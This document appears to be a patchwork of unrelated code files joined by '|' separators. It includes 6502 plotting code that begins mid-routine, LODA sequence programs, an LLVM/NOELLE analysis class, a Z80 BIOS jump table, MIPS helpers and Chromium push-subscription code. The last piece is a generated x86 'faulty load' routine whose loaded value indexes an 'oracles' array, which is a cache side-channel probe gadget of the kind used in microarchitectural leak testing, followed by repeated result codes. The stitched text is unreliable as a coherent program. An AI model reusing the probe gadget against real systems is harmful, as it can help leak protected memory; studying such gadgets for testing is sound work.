STA TMPPTR+1
LDY #0
LDA (TMPPTR),Y
STA PLOTOMA
LDA PLOTX
AND #$03
TAX
LDA PLOTANDBIT4,X
STA PLOTAMA
;---------------------------------
;get in-cell offset to point (0-7)
;---------------------------------
LDA PLOTX ;get PLOTX offset from cell topleft
AND #%00000111 ;2 lowest bits = (0-4)
TAX ;put into index register
LDA PLOTY ;get PLOTY offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAY
JMP PLOTCOMMON
PLOTCOMMON:
;----------------------------------------------
;depending on PLOTM, routine draws or erases
;----------------------------------------------
LDA PLOTM ;(0 = erase, 1 = set, 2 = get pixel, 3 = get color)
CMP #0
BEQ PLOTE ;if = 0 then branch to clear the point
CMP #1
BEQ PLOTD ;if = 1 then branch to draw the point
CMP #2
BEQ PLOTG ;if = 2 then branch to get the point (0/1)
CMP #3
BEQ PLOTC ;if = 3 then branch to get the color index (0...15)
JMP PLOTP
PLOTD:
;---------
;set point
;---------
LDA (PLOTDEST),y ;get row with point in it
ORA PLOTORBIT,x ;isolate AND set the point
STA (PLOTDEST),y ;write back to $A000
LDY #0
LDA (PLOTCDEST),y ;get row with point in it
AND #$0f ;isolate AND set the point
ORA _PEN ;isolate OR set the point
STA (PLOTCDEST),y ;write back to $A000
LDY #0
LDA (PLOTLDEST),y ;get row with point in it
AND #$0f ;isolate AND set the point
ORA #$30 ;increase luminance
STA (PLOTLDEST),y ;write back to $A000
JMP PLOTP ;skip the erase-point section
;-----------
;erase point
;-----------
PLOTE: ;handled same way as setting a point
LDA (PLOTDEST),y ;just with opposite bit-mask
AND PLOTANDBIT,x ;isolate AND erase the point
STA (PLOTDEST),y ;write back to $A000
LDY #0
LDA #0 ;get row with point in it
STA (PLOTLDEST),y ;write back to $A000
JMP PLOTP
PLOTG:
LDA (PLOTDEST),y
AND PLOTORBIT,x
CMP #0
BEQ PLOTG0
PLOTG1:
LDA #$ff
STA PLOTM
JMP PLOTP
PLOTG0:
LDA #$0
STA PLOTM
JMP PLOTP
PLOTC:
LDY #0
LDA (PLOTCDEST),y ;get row with point in it
LSR A
LSR A
LSR A
LSR A
STA PLOTM
JMP PLOTP
PLOTP:
RTS
;----------------------------------------------------------------
PLOTORBIT:
.byte %10000000
.byte %01000000
.byte %00100000
.byte %00010000
.byte %00001000
.byte %00000100
.byte %00000010
.byte %00000001
PLOTANDBIT:
.byte %01111111
.byte %10111111
.byte %11011111
.byte %11101111
.byte %11110111
.byte %11111011
.byte %11111101
.byte %11111110
PLOTORBIT40:
.byte %00000000
.byte %00000000
.byte %00000000
.byte %00000000
PLOTORBIT41:
.byte %01000000
.byte %00010000
.byte %00000100
.byte %00000001
PLOTORBIT42:
.byte %10000000
.byte %00100000
.byte %00001000
.byte %00000010
PLOTORBIT43:
.byte %11000000
.byte %00110000
.byte %00001100
.byte %00000011
PLOTANDBIT4:
.byte %00111111
.byte %11001111
.byte %11110011
.byte %11111100
|
#include "Render.h"
#include <cstdio>
void Draw()
{
for (int i = 0; i < df_LINE; i++)
{
if (g_pArray[i] != nullptr)
g_pArray[i]->Draw();
wprintf(L"\n");
}
} |
; A100381: a(n) = 2^n*binomial(n,2).
; 0,0,4,24,96,320,960,2688,7168,18432,46080,112640,270336,638976,1490944,3440640,7864320,17825792,40108032,89653248,199229440,440401920,968884224,2122317824,4630511616,10066329600,21810380800,47110422528,101468602368,217969590272,467077693440,998579896320,2130303778816,4535485464576,9637906612224,20444044328960,43293270343680,91534343012352,193239168581632,407369058091008,857619069665280,1803199069552640,3786718046060544,7942871999053824,16642207998017536,34832528367943680,72831650223882240
mov $1,2
pow $1,$0
bin $0,2
mul $1,$0
mov $0,$1
|
/*
* Copyright 2016 - 2021 Angelo Matni, Simone Campanoni
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "SCCAttrs.hpp"
namespace llvm::noelle {
SCCAttrs::SCCAttrs (
SCC *s,
AccumulatorOpInfo &opInfo,
LoopsSummary &LIS
) :
scc{s}
, sccType{SCCType::SEQUENTIAL}
, accumOpInfo{opInfo}
, PHINodes{}
, headerPHINodes{}
, accumulators{}
, controlFlowInsts{}
, controlPairs{}
, loopCarriedVariables{}
, isClonable{0}
, isSCCClonableIntoLocalMemory{0}
, hasIV{0}
, commutative{false}
{
/*
* Collect the basic blocks of the instructions contained within SCC.
*/
for (auto nodePair : this->scc->internalNodePairs()) {
auto valueIncludedInSCC = nodePair.first;
if (auto instIncludedInSCC = dyn_cast<Instruction>(valueIncludedInSCC)) {
this->bbs.insert(instIncludedInSCC->getParent());
}
}
// Collect values actually contained in the strongly connected components,
// ignoring ancillary values merged into the SCC object
// collectSCCValues();
/*
* Collect the control flows of the SCC.
*/
this->collectControlFlowInstructions();
/*
* Collect PHIs and accumulators included in the SCC.
*/
this->collectPHIsAndAccumulators(*LIS.getLoopNestingTreeRoot());
return;
}
SCCAttrs::SCCType SCCAttrs::getType (void) const {
return this->sccType;
}
void SCCAttrs::setType (SCCAttrs::SCCType t) {
this->sccType = t;
return ;
}
iterator_range<SCCAttrs::phi_iterator> SCCAttrs::getPHIs (void){
return make_range(this->PHINodes.begin(), this->PHINodes.end());
}
iterator_range<SCCAttrs::instruction_iterator> SCCAttrs::getAccumulators (void){
return make_range(this->accumulators.begin(), this->accumulators.end());
}
bool SCCAttrs::doesItContainThisPHI (PHINode *phi){
return this->PHINodes.find(phi) != this->PHINodes.end();
}
bool SCCAttrs::doesItContainThisInstructionAsAccumulator (Instruction *inst){
return this->accumulators.find(inst) != this->accumulators.end();
}
bool SCCAttrs::isCommutative (void) const {
return this->commutative;
}
uint32_t SCCAttrs::numberOfPHIs (void){
return this->PHINodes.size();
}
uint32_t SCCAttrs::numberOfAccumulators (void){
return this->accumulators.size();
}
PHINode * SCCAttrs::getSinglePHI (void){
if (this->PHINodes.size() != 1) {
return nullptr;
}
auto singlePHI = *this->PHINodes.begin();
return singlePHI;
}
PHINode * SCCAttrs::getSingleHeaderPHI (void){
return this->headerPHINodes.size() != 1
? nullptr : *this->headerPHINodes.begin();
}
Instruction * SCCAttrs::getSingleAccumulator (void){
if (this->accumulators.size() != 1) {
return nullptr;
}
auto singleAccumulator = *this->accumulators.begin();
return singleAccumulator;
}
void SCCAttrs::collectPHIsAndAccumulators (LoopStructure &LS) {
/*
* Iterate over elements of the SCC to collect PHIs and accumulators.
*/
for (auto iNodePair : this->scc->internalNodePairs()) {
/*
* Fetch the current element of the SCC.
*/
auto V = iNodePair.first;
/*
* Check if it is a PHI.
*/
if (auto phi = dyn_cast<PHINode>(V)) {
this->PHINodes.insert(phi);
if (LS.getHeader() == phi->getParent()) {
this->headerPHINodes.insert(phi);
}
continue;
}
/*
* Check if it is an accumulator.
*/
if (auto I = dyn_cast<Instruction>(V)) {
/*
* Fetch the opcode.
*/
auto binOp = I->getOpcode();
/*
* Check if this is an opcode we handle.
*/
if (accumOpInfo.accumOps.find(binOp) != accumOpInfo.accumOps.end()) {
this->accumulators.insert(I);
continue;
}
}
}
return ;
}
void SCCAttrs::collectControlFlowInstructions (void){
/*
* Collect the terminators of the SCC that are involved in dependences.
*/
for (auto iNodePair : this->scc->internalNodePairs()) {
/*
* Check if there are dependences from this SCC to another.
*/
auto sccValue = iNodePair.first;
auto sccNode = iNodePair.second;
if (sccNode->numOutgoingEdges() == 0) {
continue;
}
/*
* Check if the current SCC node is an instruction.
*/
auto currentValue = sccValue;
if (!isa<Instruction>(currentValue)){
continue ;
}
auto currentInst = cast<Instruction>(currentValue);
/*
* Check if the instruction is a terminator.
*/
if (!currentInst->isTerminator()){
continue ;
}
/*
* The instruction is a terminator that have a dependence that leaves its SCC.
*/
this->controlFlowInsts.insert(currentInst);
}
/*
* Collect the (condition, jump) pairs.
*/
for (auto term : this->controlFlowInsts) {
assert(term->isTerminator());
if (auto br = dyn_cast<BranchInst>(term)) {
assert(br->isConditional()
&& "BranchInst with outgoing edges in an SCC must be conditional!");
this->controlPairs.insert(std::make_pair(br->getCondition(), br));
}
if (auto switchI = dyn_cast<SwitchInst>(term)) {
this->controlPairs.insert(std::make_pair(switchI->getCondition(), switchI));
}
}
return ;
}
SCC * SCCAttrs::getSCC (void){
return this->scc;
}
const std::pair<Value *, Instruction *> * SCCAttrs::getSingleInstructionThatControlLoopExit (void){
if (this->controlPairs.size() != 1){
return nullptr;
}
auto controlPair = &*this->controlPairs.begin();
return controlPair;
}
// FIXME: Do not use
void SCCAttrs::collectSCCValues () {
struct PathValue {
PathValue *prev;
Value *value;
PathValue (Value *V, PathValue *PV = nullptr) : value{V}, prev{PV} {};
};
/*
* Bookkeeping for later deletion and to avoid duplicate work
*/
std::set<PathValue *> pathValues;
std::set<Value *> valuesSeen;
std::deque<PathValue *> toTraverse;
auto topLevelNodes = scc->getTopLevelNodes(true);
for (auto node : topLevelNodes) {
node->getT()->print(errs() << "TOP LEVEL V: "); errs() << "\n";
auto pathV = new PathValue(node->getT());
pathValues.insert(pathV);
toTraverse.push_front(pathV);
}
scc->print(errs(), "COLLECT: ", 0) << "\n";
while (!toTraverse.empty()) {
auto pathV = toTraverse.front();
toTraverse.pop_front();
// pathV->value->print(errs() << "Traversing V: "); errs() << "\n";
bool isCycle = false;
auto prevV = pathV->prev;
while (prevV) {
// prevV->value->print(errs() << "\t Prev V: "); errs() << "\n";
if (pathV->value == prevV->value) {
isCycle = true;
break;
}
prevV = prevV->prev;
}
if (isCycle) {
auto cycleV = pathV;
while (cycleV != prevV) {
stronglyConnectedDataValues.insert(cycleV->value);
cycleV = cycleV->prev;
}
continue;
}
auto node = scc->fetchNode(pathV->value);
for (auto edge : node->getOutgoingEdges()) {
// Only trace paths across data dependencies, starting
// anew on newly encountered data values across control dependencies
auto nextV = edge->getIncomingT();
PathValue *nextPathV = nullptr;
if (edge->isControlDependence()) {
// nextV->print(errs() << "Control dependence traveling to: "); errs() << "\n";
nextPathV = new PathValue(nextV);
} else {
// nextV->print(errs() << "Data dependence traveling to: "); errs() << "\n";
nextPathV = new PathValue(nextV, pathV);
}
if (nextPathV) {
pathValues.insert(nextPathV);
toTraverse.push_front(nextPathV);
}
}
}
for (auto pathV : pathValues) delete pathV;
for (auto dataV : stronglyConnectedDataValues) {
dataV->print(errs() << "COLLECT: V: "); errs() << "\n";
}
}
void SCCAttrs::setSCCToBeInductionVariable (bool hasIV){
this->hasIV = hasIV;
return;
}
void SCCAttrs::setSCCToBeClonable (bool isClonable){
this->isClonable = isClonable;
return;
}
void SCCAttrs::addLoopCarriedVariable (LoopCarriedVariable *variable) {
loopCarriedVariables.insert(variable);
}
LoopCarriedVariable * SCCAttrs::getSingleLoopCarriedVariable (void) const {
if (loopCarriedVariables.size() != 1) return nullptr;
return *loopCarriedVariables.begin();
}
void SCCAttrs::setSCCToBeClonableUsingLocalMemory (void) {
this->isSCCClonableIntoLocalMemory = true;
}
bool SCCAttrs::canBeClonedUsingLocalMemoryLocations (void) const {
return this->isSCCClonableIntoLocalMemory;
}
void SCCAttrs::addClonableMemoryLocationsContainedInSCC (std::unordered_set<const ClonableMemoryLocation *> locations) {
this->clonableMemoryLocations = locations;
}
std::unordered_set<AllocaInst *> SCCAttrs::getMemoryLocationsToClone (void) const {
std::unordered_set<AllocaInst *> allocations;
for (auto location : clonableMemoryLocations) {
allocations.insert(location->getAllocation());
}
return allocations;
}
bool SCCAttrs::mustExecuteSequentially (void) const {
return this->getType() == SCCAttrs::SCCType::SEQUENTIAL;
}
bool SCCAttrs::canExecuteReducibly (void) const {
return this->getType() == SCCAttrs::SCCType::REDUCIBLE;
}
bool SCCAttrs::canExecuteIndependently (void) const {
return this->getType() == SCCAttrs::SCCType::INDEPENDENT;
}
bool SCCAttrs::canBeCloned (void) const {
return this->isClonable;
}
bool SCCAttrs::isInductionVariableSCC (void) const {
return this->hasIV;
}
SCCAttrs::~SCCAttrs () {
for (auto var : loopCarriedVariables) {
delete var;
}
}
}
|
; A051937: Truncated triangular pyramid numbers: a(n) = Sum_{k=4..n} k*(k+1)/2-9.
; 1,7,19,38,65,101,147,204,273,355,451,562,689,833,995,1176,1377,1599,1843,2110,2401,2717,3059,3428,3825,4251,4707,5194,5713,6265,6851,7472,8129,8823,9555,10326,11137,11989,12883,13820,14801,15827,16899,18018,19185,20401,21667,22984,24353,25775,27251,28782,30369,32013,33715,35476,37297,39179,41123,43130,45201,47337,49539,51808,54145,56551,59027,61574,64193,66885,69651,72492,75409,78403,81475,84626,87857,91169,94563,98040,101601,105247,108979,112798,116705,120701,124787,128964,133233,137595,142051,146602,151249,155993,160835,165776,170817,175959,181203,186550,192001,197557,203219,208988,214865,220851,226947,233154,239473,245905,252451,259112,265889,272783,279795,286926,294177,301549,309043,316660,324401,332267,340259,348378,356625,365001,373507,382144,390913,399815,408851,418022,427329,436773,446355,456076,465937,475939,486083,496370,506801,517377,528099,538968,549985,561151,572467,583934,595553,607325,619251,631332,643569,655963,668515,681226,694097,707129,720323,733680,747201,760887,774739,788758,802945,817301,831827,846524,861393,876435,891651,907042,922609,938353,954275,970376,986657,1003119,1019763,1036590,1053601,1070797,1088179,1105748,1123505,1141451,1159587,1177914,1196433,1215145,1234051,1253152,1272449,1291943,1311635,1331526,1351617,1371909,1392403,1413100,1434001,1455107,1476419,1497938,1519665,1541601,1563747,1586104,1608673,1631455,1654451,1677662,1701089,1724733,1748595,1772676,1796977,1821499,1846243,1871210,1896401,1921817,1947459,1973328,1999425,2025751,2052307,2079094,2106113,2133365,2160851,2188572,2216529,2244723,2273155,2301826,2330737,2359889,2389283,2418920,2448801,2478927,2509299,2539918,2570785,2601901,2633267,2664884,2696753,2728875
add $0,2
mov $2,3
lpb $0,1
sub $0,1
add $1,$3
trn $1,3
add $2,1
add $3,$2
lpe
|
;******************************************************************************
; BIOS_jblks.asm
;
; BIOS Jumpblocks
; for dastaZ80's dzOS
; by David Asta (Apr 2019)
;
; Version 1.0.0
; Created on 25 Apr 2019
; Last Modification 25 Apr 2019
;******************************************************************************
; CHANGELOG
; -
;******************************************************************************
; --------------------------- LICENSE NOTICE ----------------------------------
; This file is part of dzOS
; Copyright (C) 2017-2018 David Asta
; dzOS is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
; dzOS is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
; You should have received a copy of the GNU General Public License
; along with dzOS. If not, see <http://www.gnu.org/licenses/>.
; -----------------------------------------------------------------------------
;==============================================================================
; Includes
;==============================================================================
#include "src/includes/equates.inc"
#include "exp/BIOS.exp"
.ORG BIOS_JBLK_START
jp F_BIOS_WBOOT
jp F_BIOS_SYSHALT
jp F_BIOS_CF_INIT
jp F_BIOS_CF_BUSY
jp F_BIOS_CF_READ_SEC
jp F_BIOS_CLRSCR
jp F_BIOS_CONIN
jp F_BIOS_CONOUT
.ORG BIOS_JBLK_END
.BYTE 0
.END |
######### HELPER FUNCTIONS ##############
printNewline: # Print string newline
la $a0, newline # load the address of newline
li $v0, 4 # print_string syscall code = 4
syscall
jr $ra # return
printString:
li $v0, 4 # print_string syscall code = 4
syscall
jr $ra # return
printError:
la $a0, invalidInputText
jal printString
j exit
readBase:
li $v0, 12 # read_string syscall code = 8
syscall
jr $ra # return
readNumber:
la $a0, inputNumberArray # load inputBase address to argument0
li $v0, 8 # read_string syscall code = 8
li $a1, 32 # space allocated for inputBase
syscall
jr $ra # return
exit:
jal printNewline
li $v0, 10 # exit
syscall
return:
jr $ra # return to last saved address
revertToOutputArray:
la $a0, outputNumberArray # load outputNumberArray address
j revertFromA1
revertToAuxiliaryArray:
la $a0, auxiliaryArray # load outputNumberArray address
j revertFromA1
revertToInputArray:
addi $a1, $a1, -1 # -- auxiliaryArray position
la $a0, inputNumberArray # load outputNumberArray address
j revertFromA1
revertFromA1: # a1 is the last position, (array to revert)
li $t0, 0 # i = 0
revertArrayLoop:
addi $a1, $a1, -1 # -- auxiliaryArray position
lb $t0, 0($a1) # load byte from auxiliaryArray
beqz $t0, return # if no char was read, return to print
sb $t0, 0($a0) # save loaded byte to ouput array
addi $a0, $a0, 1 # ++ outputNumberArray position
j revertArrayLoop # return to loop
copyToAuxiliaryArray:
la $a1, auxiliaryArray
j copyLoop
copyLoop:
lb $t9, 0($a0)
beq $t9, $zero, return
sb $t9, 0($a1)
addi $a0, $a0, 1
addi $a1, $a1, 1
j copyLoop
|
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/modules/push_messaging/push_subscription_options.h"
#include "third_party/blink/renderer/bindings/modules/v8/array_buffer_or_array_buffer_view_or_string.h"
#include "third_party/blink/renderer/bindings/modules/v8/v8_push_subscription_options_init.h"
#include "third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h"
#include "third_party/blink/renderer/platform/bindings/exception_code.h"
#include "third_party/blink/renderer/platform/bindings/exception_state.h"
#include "third_party/blink/renderer/platform/wtf/assertions.h"
#include "third_party/blink/renderer/platform/wtf/std_lib_extras.h"
#include "third_party/blink/renderer/platform/wtf/text/ascii_ctype.h"
#include "third_party/blink/renderer/platform/wtf/text/base64.h"
namespace blink {
namespace {
const int kMaxApplicationServerKeyLength = 255;
Vector<uint8_t> BufferSourceToVector(
const ArrayBufferOrArrayBufferViewOrString& application_server_key,
ExceptionState& exception_state) {
char* input;
size_t length;
Vector<char> decoded_application_server_key;
Vector<uint8_t> result;
// Convert the input array into a string of bytes.
if (application_server_key.IsArrayBuffer()) {
input =
static_cast<char*>(application_server_key.GetAsArrayBuffer()->Data());
length = application_server_key.GetAsArrayBuffer()->ByteLength();
} else if (application_server_key.IsArrayBufferView()) {
input = static_cast<char*>(
application_server_key.GetAsArrayBufferView()->BaseAddress());
length = application_server_key.GetAsArrayBufferView()->byteLength();
} else if (application_server_key.IsString()) {
if (!Base64UnpaddedURLDecode(application_server_key.GetAsString(),
decoded_application_server_key)) {
exception_state.ThrowDOMException(
DOMExceptionCode::kInvalidCharacterError,
"The provided applicationServerKey is not encoded as base64url "
"without padding.");
return result;
}
input = reinterpret_cast<char*>(decoded_application_server_key.data());
length = decoded_application_server_key.size();
} else {
NOTREACHED();
return result;
}
// Check the validity of the sender info. It must either be a 65-byte
// uncompressed VAPID key, which has the byte 0x04 as the first byte or a
// numeric sender ID.
const bool is_vapid = length == 65 && *input == 0x04;
const bool is_sender_id =
length > 0 && length < kMaxApplicationServerKeyLength &&
(std::find_if_not(input, input + length, &WTF::IsASCIIDigit<char>) ==
input + length);
if (is_vapid || is_sender_id) {
result.Append(input, static_cast<wtf_size_t>(length));
} else {
exception_state.ThrowDOMException(
DOMExceptionCode::kInvalidAccessError,
"The provided applicationServerKey is not valid.");
}
return result;
}
} // namespace
// static
PushSubscriptionOptions* PushSubscriptionOptions::FromOptionsInit(
const PushSubscriptionOptionsInit* options_init,
ExceptionState& exception_state) {
Vector<uint8_t> application_server_key;
// TODO(crbug.com/1070871): PushSubscriptionOptionsInit.applicationServerKey
// has a default value, but we check |hasApplicationServerKey()| here for
// backward compatibility.
if (options_init->hasApplicationServerKey() &&
!options_init->applicationServerKey().IsNull()) {
application_server_key.AppendVector(BufferSourceToVector(
options_init->applicationServerKey(), exception_state));
}
return MakeGarbageCollected<PushSubscriptionOptions>(
options_init->userVisibleOnly(), application_server_key);
}
PushSubscriptionOptions::PushSubscriptionOptions(
bool user_visible_only,
const Vector<uint8_t>& application_server_key)
: user_visible_only_(user_visible_only),
application_server_key_(DOMArrayBuffer::Create(
application_server_key.data(),
SafeCast<unsigned>(application_server_key.size()))) {}
void PushSubscriptionOptions::Trace(Visitor* visitor) const {
visitor->Trace(application_server_key_);
ScriptWrappable::Trace(visitor);
}
} // namespace blink
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x19181, %rsi
lea addresses_D_ht+0xfc81, %rdi
nop
nop
nop
nop
add %rbp, %rbp
mov $9, %rcx
rep movsw
nop
nop
nop
inc %r13
lea addresses_normal_ht+0x13001, %r10
nop
nop
nop
nop
sub $9048, %r15
movb (%r10), %cl
and $42799, %r13
lea addresses_WC_ht+0x17f39, %rbp
nop
sub %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
movups %xmm1, (%rbp)
nop
nop
xor %rdi, %rdi
lea addresses_WC_ht+0x19901, %rsi
nop
nop
nop
nop
and $63274, %r13
mov (%rsi), %ebp
nop
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0xa82, %rsi
lea addresses_D_ht+0x1c301, %rdi
clflush (%rdi)
nop
nop
sub $42397, %r11
mov $19, %rcx
rep movsw
nop
nop
nop
nop
nop
and %r13, %r13
lea addresses_normal_ht+0x10301, %rsi
lea addresses_WC_ht+0x15bd9, %rdi
nop
cmp %rbp, %rbp
mov $27, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rcx
lea addresses_WC_ht+0x6701, %r13
add %r11, %r11
movl $0x61626364, (%r13)
sub %rsi, %rsi
lea addresses_normal_ht+0xf1f1, %r15
nop
nop
nop
nop
nop
dec %r10
mov $0x6162636465666768, %rbp
movq %rbp, (%r15)
nop
add %r11, %r11
lea addresses_normal_ht+0x18b01, %rsi
lea addresses_A_ht+0x42b9, %rdi
nop
nop
nop
sub %r10, %r10
mov $25, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %r13, %r13
lea addresses_normal_ht+0x1701, %rsi
lea addresses_UC_ht+0x1ce81, %rdi
nop
nop
and %r10, %r10
mov $127, %rcx
rep movsb
nop
nop
nop
nop
sub $47505, %r15
lea addresses_D_ht+0x16665, %rsi
lea addresses_D_ht+0x9b01, %rdi
nop
nop
nop
cmp %r10, %r10
mov $79, %rcx
rep movsq
nop
nop
add $49416, %r15
lea addresses_UC_ht+0x18d01, %r15
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r13
movq %r13, (%r15)
nop
nop
nop
nop
nop
xor %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %rbp
push %rcx
push %rdx
// Store
lea addresses_WT+0x9a5, %rbp
nop
nop
nop
nop
xor $25556, %r11
movl $0x51525354, (%rbp)
nop
nop
cmp $55964, %rcx
// Store
lea addresses_UC+0x17f01, %r14
add %rdx, %rdx
mov $0x5152535455565758, %r11
movq %r11, %xmm1
vmovups %ymm1, (%r14)
nop
nop
nop
sub %rbp, %rbp
// Store
lea addresses_UC+0x12661, %r13
nop
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm5
vmovups %ymm5, (%r13)
nop
nop
nop
and $64851, %r11
// Store
lea addresses_WC+0x1ef5f, %r14
and %rdx, %rdx
movl $0x51525354, (%r14)
nop
nop
nop
mfence
// Faulty Load
lea addresses_UC+0x1cf01, %r12
nop
nop
nop
nop
nop
xor %r11, %r11
mov (%r12), %r14w
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rdx
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': True, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 9}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 